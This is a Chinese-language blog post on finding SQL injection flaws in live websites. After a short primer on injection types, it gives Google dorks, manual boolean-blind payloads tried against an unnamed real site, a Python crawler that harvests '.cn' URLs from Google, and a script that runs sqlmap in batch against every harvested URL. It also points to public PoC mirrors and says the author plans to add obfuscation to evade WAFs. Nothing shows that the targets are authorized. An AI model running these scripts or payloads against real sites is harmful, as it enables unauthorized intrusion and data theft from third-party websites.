文章目录

  • 前言
  • 一、sql注入的分类
    • 注入漏洞存在位置
  • 二、漏洞挖掘
    • Google语法
    • 疑似注入点手工挖掘
    • 批量挖取此类漏洞
    • 已知sql注入漏洞挖掘
  • 总结
  • 免责声明:

前言

2021年OWASP发布漏洞威胁榜单,SQL注入从第一名下降到第三(https://owasp.org/Top10/),SQL注入是一种常见的Web攻击技术,通过构造恶意的SQL语句来破坏数据库安全。攻击者可以通过提交带有恶意代码的输入,例如网页表单,来控制数据库执行恶意语句。这样,攻击者可以访问敏感信息,修改数据,甚至删除整个数据库。

为了防范SQL注入攻击,开发人员应该使用参数化查询或存储过程,并对用户输入进行严格的验证和过滤。这样可以确保用户输入不会被作为恶意代码注入到数据库中。

一、sql注入的分类

  1. 数字型注入:使用数字代替字符串来绕过数据验证。
  2. 字符型注入:使用字符串作为SQL语句的一部分来构造恶意代码。
  3. 时间型注入:使用时间数据类型作为SQL语句的一部分来构造恶意代码。
  4. UNION型注入:使用UNION操作符来合并多个查询的结果。
  5. 报错型注入:通过诱导数据库产生错误来获取数据。
  6. 基于盲注的注入:通过查询询问数据库中的数据来获取敏感信息。

注入漏洞存在位置

  • 用户输入的表单:Web应用程序中经常使用表单来收集用户的输入数据,如用户名、密码、搜索关键字等。如果应用程序没有正确验证和过滤用户输入数据,攻击者就可以在输入框中注入恶意的SQL语句,从而绕过应用程序的访问控制和数据过滤机制,对应用程序进行攻击。

  • URL参数:Web应用程序也经常从URL中获取参数,例如搜索查询、页面过滤等。如果应用程序没有正确验证和过滤URL参数,攻击者就可以修改URL参数中的值,构造恶意的SQL语句进行攻击。

  • Cookie数据:Web应用程序有时会将数据存储在用户的Cookie中,如果攻击者可以修改这些Cookie数据,就可以通过注入恶意的SQL语句来攻击应用程序。

  • 隐藏表单:Web应用程序中有些表单是隐藏的,用户无法直接访问或编辑,但攻击者可以通过特殊的手段修改这些隐藏表单的值,从而构造恶意的SQL语句进行攻击。

  • HTTP请求头:某些Web应用程序也会从HTTP请求头中获取参数,如用户代理、IP地址等。如果应用程序没有正确验证和过滤这些参数,攻击者就可以构造恶意的SQL语句进行攻击。

事例:登录位置

表单反馈位置:

搜索框位置

留言板等

参数传递:

二、漏洞挖掘

Google语法

后面跟任意值

inurl:php?id=
inurl:asp?id=
inurl:index.php?id=
inurl:news.php?id=
inurl:product.php?id=
inurl:category.php?id=
inurl:detail.php?id=
inurl:download.php?id=
inurl:gallery.php?id=
inurl:login.php?user=

更多规则:https://www.buzztouch.com/applications020113/JA56066181BD8600604F8D687/documents/customHTML_D6743F2710E179C07158D34.html

疑似注入点手工挖掘


加个单引号试一下
发现报错,这是一个典型的布尔盲注


通过order by 判断为21列

判断数据库名的长度
22’ and length(database())>6
22’ and length(database())>7 时报错说明数据库名有6个字符

id=22' and mid(database(),1,1)='a' --+
id=22' and mid(database(),1,1)='h' --+当为h时为正常显示说明数据库的第一个字母为h



布尔盲注建议使用工具进行测试,手工太慢,这里我们使用sqlmap工具进行下一步查询


跑出来发现是和我们手工注入一样的结果,字段为21个数据库名以h开头的,到此为止不在进行利用。

批量挖取此类漏洞

使用脚本批量爬取可疑url进行测试
注意:此爬虫一个规则只能爬取100条数据,并对不规则数据进行去除。

import re
import requests
from bs4 import BeautifulSoup
import urllib3urllib3.disable_warnings()USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0"
site = ".cn"
queries = []
with open("queries.txt", "r") as f:queries = [query.strip() for query in f.readlines()]num = 100
results = []
for query in queries:query = query.replace(' ', '+')URL = f"https://google.com/search?q={query}&num={num}"headers = {"user-agent": USER_AGENT}resp = requests.get(URL, headers=headers, verify=False)if resp.status_code == 200:soup = BeautifulSoup(resp.content, "html.parser")for g in soup.find_all('div'):anchors = g.find_all('a')if anchors:for anchor in anchors:try:link = anchor.get('href')if re.match(r'^/url\?q=', link):link = re.sub(r'^/url\?q=', '', link)link = re.sub(r'&sa=.*', '', link)if link and link.find('search?q') == -1 and link.find('google.com') == -1:if link.startswith("http://") or link.startswith("https://"):if link not in results:results.append(link)except:passwith open("urls.txt", "w") as f:for result in results:f.write(result + "\n")

使用方法:创建queries.txt存放规则

执行python程序即可爬取,爬取完成会生成url.txt文件。

使用sqlmap的批量脚本进行测试

import os
import sys
import argparse
import timedef main():# 创建一个命令行参数解析器parser = argparse.ArgumentParser(description="批量扫描 SQL 注入漏洞")# 添加参数parser.add_argument('-i', '--input', required=True, help="包含要扫描的URL的文件路径")parser.add_argument('-o', '--output', default='output.txt', help="保存扫描结果的文件路径")parser.add_argument('-p', '--params', default='id', help="指定需要测试的参数名,多个参数用逗号分隔")parser.add_argument('-t', '--threads', default='10', help="同时进行扫描的线程数")# 解析参数args = parser.parse_args()# 读取要扫描的URL列表with open(args.input, 'r') as f:urls = f.readlines()# 遍历URL列表,对每个URL进行扫描for url in urls:url = url.strip()if not url.startswith('http'):url = 'http://' + urlcmd = 'sqlmap -u "{}" -p "{}" --threads {} --batch -o -f -m "{}" > {} 2>&1 &'.format(url, args.params, args.threads, args.output, args.output)# 执行扫描命令os.system(cmd)# 等待一段时间,确保扫描结果已经写入到文件中time.sleep(10)# 输出有漏洞的URLwith open(args.output, 'r') as f:lines = f.readlines()for line in lines:if '[*]' in line and 'GET' in line:start = line.index('\'') + 1end = line.index('\'', start)print(line[start:end])if __name__ == '__main__':main()
使用说明:
-i:URl列表
-p:参数多个参数用逗号隔开
-t:为线程数
-o:结果输出文件
python sqlmap_scan.py -i urls.txt -p id,name -t 5 -o results.txt

已知sql注入漏洞挖掘

在漏洞库中有许多已经公开的sql注入漏洞,可通过fofa、shodan、钟馗之眼等查找
自建漏洞库(镜像站):
http://peiqi.19xinan.cn/#/
http://0sec.19xinan.cn/#/


根据poc测试:

很容易发现漏洞,当然可以给漏洞写批量脚本进行批量挖掘。

总结

在挖掘的过程中学习漏洞产生的原因,复现和寻找源码中的漏洞进行提高自己水平,现在的sql注入漏洞已经改善不少随着网络安全的发展现在很多公司有waf防火墙,下一步计划加强上面的脚本加上代码混淆尝试绕过一些防火墙。

免责声明:

本文为作者个人观点,不代表本平台或任何其他机构的立场和观点。本文所包含的任何信息、观点和建议仅供参考和信息交流,读者应自行判断其适用性。

本文所涉及的任何产品、服务、企业、机构、网站或其他信息均为作者个人观点,不构成任何形式的推荐或背书。作者不对因读者根据本文内容采取的任何行动负责,也不承担任何责任。

本文的内容并不保证完全准确、全面或最新,且可能存在错误或遗漏。读者在参考本文内容时应自行进行验证和核实。任何因读者根据本文内容采取的任何行动造成的损失或损害,作者概不负责。

本文的版权归作者所有,未经作者许可,任何人不得擅自转载、复制或用于商业用途。如需转载或引用,请注明出处并联系作者。

最后,作者保留随时修改本文内容和免责声明的权利。请读者在使用本文内容时注意查看最新版本的免责声明。

【WEB安全】SQL注入挖掘相关推荐

  1. CTFshow——web入门——sql注入

    web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...

  2. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  3. web之SQL注入篇BUU

    web之SQL注入篇BUU [强网杯 2019]随便注 预处理语句 handler [SUCTF 2019]EasySQL 判断是字符型还是数字型注入 判断是否可以联合查询 判断是否可以使堆叠注入 | ...

  4. 《从0到1:CTFer成长之路》书籍配套题目-[第一章 web入门]SQL注入-2

    [第一章 web入门]SQL注入-2 一.信息收集 1.首页 2.登录成功会跳转到 3.进行测试判断 二.尝试破解 1.用post型的sqlmap破解 <1>.首先,开burp截包 < ...

  5. Web渗透-SQL注入

    渗透测试基础 一.渗透攻击流程 二.渗透测试主流工具 域名注册信息查询: Whois在线查询目标网络信息DNS和IP,nslookup 在线漏洞搜索引擎: fofa.info,shodan.io,zo ...

  6. web漏洞-SQL注入漏洞、目录遍历漏洞、文件下载漏洞

    这里用到的是Pikachu漏洞练习平台 一.SQL注入漏洞-数字型注入 SQL注入漏洞简介 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库 ...

  7. web测试-sql注入漏洞

    1.web程序三层结构 2.什么是sql注入 SQL注入 是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令. 注入攻击 ...

  8. 【ctfshow】web篇-SQL注入 wp

    前言 记录web的题目wp,慢慢变强,铸剑. SQL注入 web171 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过 //拼接sql语句查找指定ID用户 $sql = "s ...

  9. ctfshow web入门 sql注入

    无过滤注入 web171 查询语句 $sql = "select username,password from user where username !='flag' and id = ' ...

最新文章

  1. 软考之CPU的寻址方式
  2. c语言用getchar函数输入两个字符c1,c语言:用getchar函数读入两个字符给c1,c2,用putchar和printf输出。思考问题...
  3. linux qt检测u盘热插拔,【QT】动态监测U盘插拔
  4. 7.Redis常用命令:ZSet
  5. Windows Azure Storage浏览器
  6. Portable PostgreSQL
  7. 第一个发现我嫂子有喜的竟然是......
  8. python命令行参数作用_Python命令行参数解析模块argparse
  9. cpu id 系列号代码
  10. jenkins 安装插件失败_Jenkins 自动化安装插件
  11. DataBinding 学习系列(3)新增的可见字段来编写对象(bean)
  12. 软件测试的定义与分类
  13. 客户端浏览器Chrome过早断开连接导致Nginx报400错误的解决办法
  14. IOS开发之——AFN-文件下载(03)
  15. VxLAN技术基本原理
  16. Oracle 运维篇+进程追踪调试(AIX系统)
  17. 教会微信:突破文件发送100M限制
  18. Windows中cl命令编译运行C++
  19. Linux 内核编程风格
  20. mysql把集群改成单机_nacos单机迁移至集群

热门文章

  1. 网课查题公众号 对接查题题库
  2. 我在北京这几年(全)
  3. CDH版本Hadoop集群环境搭建详解
  4. Mybatis plus 之 QueryWrapper、LambdaQueryWrapper、LambdaQueryChainWrapper
  5. 为什么销售团队要用crm销售管理系统?
  6. 想学神经调控-价格你来定
  7. 软件测试周刊(第73期):每个人都有一个觉醒期,但觉醒的早晚决定个人的命运。
  8. 关于调用淘宝IP获取城市信息-- 随笔
  9. Python调用淘宝ip库API实现地址显示
  10. scada系统web服务器,基于IEC61970的Web-SCADA系统服务器后台的设计与实现